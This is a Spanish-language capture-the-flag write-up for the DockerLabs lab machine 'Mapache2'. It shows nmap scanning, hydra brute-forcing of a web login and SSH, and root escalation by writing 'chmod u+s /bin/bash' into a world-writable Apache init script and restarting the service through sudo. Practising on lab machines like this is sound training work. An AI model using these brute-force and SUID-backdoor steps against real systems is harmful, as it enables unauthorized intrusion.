maciferna
  • 🖥️Whoami
  • 📚Writeups
    • BugBountyLabs
      • Corsy
    • DockerLabs
      • 0xc0ffee
      • 404-Not-Found
      • Allien
      • Anonymouspingu
      • Apolos
      • Asucar
      • Backend
      • BadPlugin
      • Balulero
      • Borazuwarahctf
      • Bruteshock
      • Buffered
      • Candy
      • Chmod-4755
      • Corruptress
      • Cracker
      • Crackoff
      • Dance-Samba
      • Darkweb
      • Debugme
      • Devil
      • Devtools
      • Eclipse
      • Express
      • File
      • Findyourstyle
      • Flow
      • Forgotten_Portal
      • Gallery
      • Hackmedaddy
      • Hidden
      • Inj3ct0rss
      • Injection
      • Insanity
      • Jenkhack
      • Lfi.elf
      • Life Or Dead
      • Mapache2
      • Master
      • Machupichu
      • Mirame
      • Paradise
      • Patria Querida
      • PingPong
      • Pntopntobarra
      • Pressenter
      • Raas
      • Report
      • Reverse
      • Rubiks
      • R00tless
      • Seeker
      • Sender
      • Showtime
      • Sites
      • Smashing
      • Spain
      • Stack
      • Stellarjwt
      • Stranger
      • SubVersion
      • The Dog
      • UserSearch
      • Vulnvault
      • Vulnerame
      • Wallet
      • Winterfell
    • HackMyVM
      • Hero
      • MagiFi
    • HackTheBox
      • Puppy
    • The Hackers Labs
      • Casa Paco
      • Shadow Gate
      • Token Of Hate
    • Vulnyx
      • Lost Tape
Con tecnología de GitBook
En esta página
  • RECONOCIMIENTO
  • INTRUSION
  • ESCALADA DE PRIVILEGIOS
  1. Writeups
  2. DockerLabs

Mapache2

AnteriorLife Or DeadSiguienteMaster

Última actualización hace 5 meses

Maquina "mapache2" de DockerLabs

Autor: d1se0

Dificultad: Medio

RECONOCIMIENTO

Comenzamos haciendo un escaneo de nmap:

nmap -p- -n -vvv -sSVC -Pn --open --min-rate 5000 172.17.0.2 -oN escaneo.txt
# Nmap 7.94SVN scan initiated Mon Sep  2 20:00:22 2024 as: nmap -p- -n -vvv -sSVC -Pn --open --min-rate 5000 -oN escaneo.txt 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000022s latency).
Scanned at 2024-09-02 20:00:23 -03 for 11s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2e:9e:60:04:ea:da:48:98:7a:e3:eb:f5:8e:25:83:33 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPh6UqEY++e9Kf6SVPV8+FwzeSzn1Sb0a5BjOpOhmjfJq4/cPpz7ZuUzWpqkjPx71va69nLnOVJ9eLaCuIq8hi4=
|   256 64:0a:26:78:24:8e:1a:75:54:5a:58:bc:f4:18:ce:4e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIADa8Dt31nScLWTk1pM77PTDusyfx57GAuWtGyGFGRpA
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Hackerspace - Welcome
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.58 (Ubuntu)
3306/tcp open  mysql?  syn-ack ttl 64
| fingerprint-strings: 
|   NULL: 
|_    We have to change this, I told Medusa to protect this more.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=9/2%Time=66D64388%P=x86_64-pc-linux-gnu%r(
SF:NULL,3C,"We\x20have\x20to\x20change\x20this,\x20I\x20told\x20Medusa\x20
SF:to\x20protect\x20this\x20more\.\n");
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep  2 20:00:34 2024 -- 1 IP address (1 host up) scanned in 11.43 seconds

Como vemos, los puertos abiertos son:

22: OpenSSH

80: Apache httpd

3306: ????

Si nos fijamos el 3306 no parece estar corriendo mysql ni nada y mas encima dice esto:

"We have to change this, I told Medusa to protect this more."

Para confirmar si realmente dice eso podriamos conectarnos con netcat para ver si nos dice ese mensaje:

nc <ip> 3306

y como vemos en la salida, el mensaje es correcto, por lo que tenemos un posible usuario: "medusa"

Ahora que ya obtuvimos algo de información, podemos ir a el navegador y entrar en la ip para ver que hay:

Como vemos es una página que no tiene mucha importancia pero tiene un panel de login, por lo que luego de probar, intento usar cewl para obtener las palabras de la página y guardárnoslas para usarlas con hydra :

cewl http://<ip> > pass

una vez hecho eso ejecutamos hydra usando el usuario "medusa" y el diccionario:

hydra -l medusa -P pass <ip> http-post-form "/login.php:username=medusa&password=^PASS^:Invalid credentials"

Como vemos ya tenemos la contraseña.

Una vez iniciada la sesión veremos otra página inutil, pero al ver el codigo fuente se ve este mensaje:

<!-- I hope my boss doesn't kill me, but I tell kinder what a mess medusa made with the message from the port. -->

parece que hay otro usuario llamado "kinder"

Probamos con el diccionario de antes:

hydra -l kinder -P pass ssh://172.17.0.2

pero esto tampoco funciona, por lo que se me ocurre probar la contraseña "medusa" y gano acceso

Credenciales:

Kinder:medusa

(con la "k" en mayusculas)

INTRUSION

ssh Kinder@<ip>

con contraseña "medusa".

ESCALADA DE PRIVILEGIOS

Si ejecutamos un sudo -l vemos lo siguiente:

Matching Defaults entries for Kinder on 50b2ab6877b6:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User Kinder may run the following commands on 50b2ab6877b6:
    (ALL : ALL) NOPASSWD: /usr/sbin/service apache2 restart

podemos ver el servicio de apache2 en /etc/init.d/apache2 y ver si oculta algo. Ahora si hacemos un ls -la en ese archivo veremos esto:

-rwxrwxrwx 1 root root 8141 Aug 23 21:07 /etc/init.d/apache2

como lo podemos modificar simplemente con nano lo modificamos y la primeras 2 líneas nos deben quedar así:

#!/bin/bash
chmod u+s /bin/bash

en resumen: Cambiamos "#!/bin/sh" por "#!/bin/bash" y agregamos un chmod debajo para darle permisos SUID a bash.

Ahora ejecutamos sudo service apache2 restart y listo, solo nos queda ejecutar bash -p y ya seremos root.

Gracias por leer.

📚
mapache
80
hydra
root